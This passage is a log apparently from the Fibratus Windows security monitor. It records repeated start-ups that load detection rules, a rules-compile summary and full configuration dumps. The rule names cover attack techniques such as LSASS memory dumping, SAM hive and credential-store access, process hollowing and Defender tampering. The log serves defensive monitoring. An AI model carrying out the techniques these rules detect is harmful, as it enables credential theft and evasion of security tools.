C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:32:20+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T17:32:20+01:00 level=info msg=bootstrapping with pid 16504. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T17:32:20+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ to=>[] enabled=>false content-type=>text/html use-template=>true port=>25] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 max-buffers=>36 enable-audit-api=>true flush-interval=>1s enable-fileio=>true enable-image=>true enable-vamap=>true enable-thread=>true enable-registry=>true enable-mem=>false enable-dns=>false enable-threadpool=>false enable-net=>true stack-enrichment=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text level=>info max-backups=>15 max-age=>0 max-size=>100 log-stdout=>true] + output ......................... [ elasticsearch=>[ index-name=>fibratus trace-log=>false healthcheck=>true servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck-timeout=>5s gzip-compression=>false template-name=>fibratus timeout=>5s enabled=>false healthcheck-interval=>10s bulk-workers=>1 sniff=>false] http=>[ method=>POST enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s endpoints=>[] serializer=>json enabled=>false] amqp=>[ exchange-type=>topic routing-key=>fibratus delivery-mode=>transient passive=>false durable=>false vhost=>/ timeout=>5s exchange=>fibratus url=>amqp://localhost:5672 tls-insecure-skip-verify=>false enabled=>false] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true]] + pe ............................. [ read-resources=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false skip-allocs=>false scan-timeout=>10s excluded-files=>[] skip-files=>false skip-registry=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T17:32:20+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:32:22+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:32:36+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T17:32:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:32:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:34:08+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:34:08+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T17:34:08+01:00 level=info msg=bootstrapping with pid 1948. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T17:34:08+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 use-template=>true content-type=>text/html enabled=>false to=>[]] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ buffer-size=>512 enable-net=>true enable-dns=>false enable-fileio=>true enable-registry=>true enable-audit-api=>true flush-interval=>1s stack-enrichment=>true enable-mem=>false enable-handle=>false enable-thread=>true min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true max-buffers=>36 enable-threadpool=>false enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text level=>info log-stdout=>true max-age=>0 max-size=>100 max-backups=>15] + output ......................... [ http=>[ enabled=>false enable-gzip=>false endpoints=>[] timeout=>5s serializer=>json tls-insecure-skip-verify=>false method=>POST] amqp=>[ passive=>false routing-key=>fibratus vhost=>/ tls-insecure-skip-verify=>false exchange-type=>topic exchange=>fibratus durable=>false url=>amqp://localhost:5672 timeout=>5s delivery-mode=>transient enabled=>false] elasticsearch=>[ gzip-compression=>false trace-log=>false flush-period=>1s healthcheck-timeout=>5s bulk-workers=>1 healthcheck=>true index-name=>fibratus timeout=>5s healthcheck-interval=>10s sniff=>false servers=>[http://127.0.0.1:9200] enabled=>false template-name=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false read-resources=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false enabled=>false excluded-procs=>[] skip-mmaps=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false skip-registry=>false excluded-files=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-11T17:34:09+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:34:11+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:34:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T17:34:31+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:34:31+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:35:49+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:35:49+01:00 level=info msg=loading rule from 